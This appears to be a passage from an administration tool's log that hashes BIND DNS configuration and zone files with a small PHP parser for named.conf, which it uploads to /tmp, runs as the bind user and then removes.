MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:56:59: Establishing a connection
2026-04-23 12:56:59: 

PUT: /tmp/pkp622635

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:56:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp622635; rm /tmp/pkp622635'

2026-04-23 12:56:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
